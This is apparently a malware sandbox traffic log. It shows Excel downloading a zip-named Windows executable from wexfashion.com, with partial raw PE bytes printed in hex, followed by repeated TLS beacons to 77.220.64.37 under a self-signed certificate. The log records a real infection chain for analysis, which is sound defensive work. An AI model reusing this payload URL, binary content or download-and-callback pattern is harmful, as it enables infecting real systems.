HTTP Request Dependency Graph

wexfashion.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	198.54.125.162	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 20:47:36.074425936 CET	0	OUT	GET /k04qkvqu.zip HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: wexfashion.com Connection: Keep-Alive
Jan 11, 2021 20:47:36.272814035 CET	2	IN	HTTP/1.1 200 OK date: Mon, 11 Jan 2021 19:47:36 GMT server: Apache last-modified: Mon, 11 Jan 2021 08:08:04 GMT accept-ranges: bytes content-length: 318976 content-type: application/zip Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 c1 97 fc 5f 00 00 00 00 00 00 00 00 e0 00 0e 21 0b 01 02 32 00 7a 04 00 00 60 00 00 00 00 00 00 d0 26 00 00 00 10 00 00 00 40 00 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 05 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 82 00 00 8c 00 00 00 00 00 05 00 7c 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 50 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 86 00 00 90 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 24 00 00 00 10 00 00 00 26 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e1 00 00 00 00 40 00 00 00 02 00 00 00 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 64 61 74 61 33 00 d8 03 00 00 00 50 00 00 00 04 00 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 32 00 00 00 00 00 00 0a 00 00 00 00 60 00 00 00 02 00 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 64 61 74 61 32 00 46 00 00 00 00 70 00 00 00 02 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 1b 00 00 00 80 00 00 00 1c 00 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 34 00 00 cc 52 04 00 00 a0 00 00 00 54 04 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 2e 72 73 72 63 00 00 00 7c 2e 00 00 00 00 05 00 00 30 00 00 00 a4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 50 09 00 00 00 30 05 00 00 0a 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 51 56 8b 45 0c 89 45 fc 8b 0d 28 9b 00 10 89 4d 08 68 5c 11 00 00 6a 00 ff 15 74 80 00 10 8b 55 fc 8d b4 02 66 a1 06 00 68 5c 11 00 00 6a 00 ff 15 74 80 00 10 03 f0 8b 45 08 03 30 8b 4d 08 89 31 8b 55 08 8b 02 2d 66 a1 06 00 8b 4d 08 89 01 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 51 a1 d8 9a 00 10 89 45 fc 8b 65 fc 58 8b e8 a1 f4 9a 00 10 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_!2z`&@@\|.0P.text$& `.rdata@*@@.rdata3P,@@.2`0@@.rdata2Fp2@@.data`4@.text4RTP @.rsrc\|.0@@.relocP0@BUQVEE(Mh\jtUfh\jtE0M1U-fM^]UQEeX
Jan 11, 2021 20:47:36.272876978 CET	3	IN	Data Raw: 50 a1 cc 9a 00 10 50 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b d2 8b 15 d0 9a 00 10 ff e2 8b e5 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 51 c7 45 fc f1 ba Data Ascii: PP]UQEE@P]U]UQHMUE]Ujjjjjjjjjjj
Jan 11, 2021 20:47:36.272913933 CET	4	IN	Data Raw: 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
Jan 11, 2021 20:47:36.272963047 CET	6	IN	Data Raw: 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
Jan 11, 2021 20:47:36.273005009 CET	7	IN	Data Raw: ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 d4 88 00 10 6a 00 ff 15 Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjj
Jan 11, 2021 20:47:36.273042917 CET	8	IN	Data Raw: 4d f8 c6 41 24 63 8b 55 f8 0f b6 42 24 83 e8 33 8b 4d f8 88 41 24 8b 55 f8 c6 42 25 94 8b 45 f8 0f b6 48 25 83 e9 33 8b 55 f8 88 4a 25 8b 45 f8 c6 40 26 94 8b 4d f8 0f b6 51 26 83 ea 33 8b 45 f8 88 50 26 8b 4d f8 c6 41 27 63 8b 55 f8 0f b6 42 27 Data Ascii: MA$cUB$3MA$UB%EH%3UJ%E@&MQ&3EP&MA'cUB'3MA'UB(cEH(3UJ(E@)fMQ)3EP)MAgUB3MA*UB+dEH+3UJ+E@,MQ,3EP,MA-cUB-3MA-UB.jEH.
Jan 11, 2021 20:47:36.273082018 CET	10	IN	Data Raw: 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 Data Ascii: ppppppppppppppppppppppppp
Jan 11, 2021 20:47:36.273121119 CET	11	IN	Data Raw: 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 05 70 80 00 10 f1 ba 00 00 c7 Data Ascii: pppppppppppppppppppppppp
Jan 11, 2021 20:47:36.273156881 CET	13	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2021 20:47:36.273195028 CET	14	IN	Data Raw: 10 60 89 00 10 64 89 00 10 68 89 00 10 6c 89 00 10 30 89 00 10 70 89 00 10 1c 89 00 10 e8 89 00 10 ec 89 00 10 f0 89 00 10 f4 89 00 10 f8 89 00 10 fc 89 00 10 e4 89 00 10 ec 89 00 10 34 8a 00 10 00 8a 00 10 04 8a 00 10 e8 89 00 10 08 8a 00 10 38 Data Ascii: `dhl0p48< $(,H8
Jan 11, 2021 20:47:36.462656975 CET	16	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: N@Q@(

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jan 11, 2021 20:47:41.098542929 CET	77.220.64.37	443	192.168.2.22	49166	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:45.534218073 CET	77.220.64.37	443	192.168.2.22	49171	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:47.673510075 CET	77.220.64.37	443	192.168.2.22	49175	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:49.762134075 CET	77.220.64.37	443	192.168.2.22	49179	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:51.899759054 CET	77.220.64.37	443	192.168.2.22	49183	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:53.972881079 CET	77.220.64.37	443	192.168.2.22	49187	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:56.048129082 CET	77.220.64.37	443	192.168.2.22	49191	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:47:58.141264915 CET	77.220.64.37	443	192.168.2.22	49195	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:01.461744070 CET	77.220.64.37	443	192.168.2.22	49199	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:03.625437021 CET	77.220.64.37	443	192.168.2.22	49203	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:05.735889912 CET	77.220.64.37	443	192.168.2.22	49207	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:07.828960896 CET	77.220.64.37	443	192.168.2.22	49211	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:09.938127995 CET	77.220.64.37	443	192.168.2.22	49215	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:12.337016106 CET	77.220.64.37	443	192.168.2.22	49219	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:14.395801067 CET	77.220.64.37	443	192.168.2.22	49224	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:17.015165091 CET	77.220.64.37	443	192.168.2.22	49229	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:20.087624073 CET	77.220.64.37	443	192.168.2.22	49233	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:22.192375898 CET	77.220.64.37	443	192.168.2.22	49237	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:24.263045073 CET	77.220.64.37	443	192.168.2.22	49241	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:26.370615005 CET	77.220.64.37	443	192.168.2.22	49245	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:28.459825993 CET	77.220.64.37	443	192.168.2.22	49249	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:30.625606060 CET	77.220.64.37	443	192.168.2.22	49253	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:32.715358019 CET	77.220.64.37	443	192.168.2.22	49257	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:34.991720915 CET	77.220.64.37	443	192.168.2.22	49261	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:37.467885017 CET	77.220.64.37	443	192.168.2.22	49265	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:39.556782007 CET	77.220.64.37	443	192.168.2.22	49269	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:41.984070063 CET	77.220.64.37	443	192.168.2.22	49273	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:44.053273916 CET	77.220.64.37	443	192.168.2.22	49277	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:46.141494989 CET	77.220.64.37	443	192.168.2.22	49281	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:48.231997967 CET	77.220.64.37	443	192.168.2.22	49285	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:50.588830948 CET	77.220.64.37	443	192.168.2.22	49289	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:53.152586937 CET	77.220.64.37	443	192.168.2.22	49293	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:55.305953026 CET	77.220.64.37	443	192.168.2.22	49297	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:57.392349005 CET	77.220.64.37	443	192.168.2.22	49301	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
Jan 11, 2021 20:48:59.528377056 CET	77.220.64.37	443	192.168.2.22	49305	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	CN=Ixwe6ststa.run, O=Nelalia Co., L=Kigali, C=RW	Sun Nov 22 23:47:21 CET 2020	Mon May 24 00:47:21 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,10-11-13-23-65281,23-24,0	eb88d0b3e1961a0562f006e5ce2a0b87
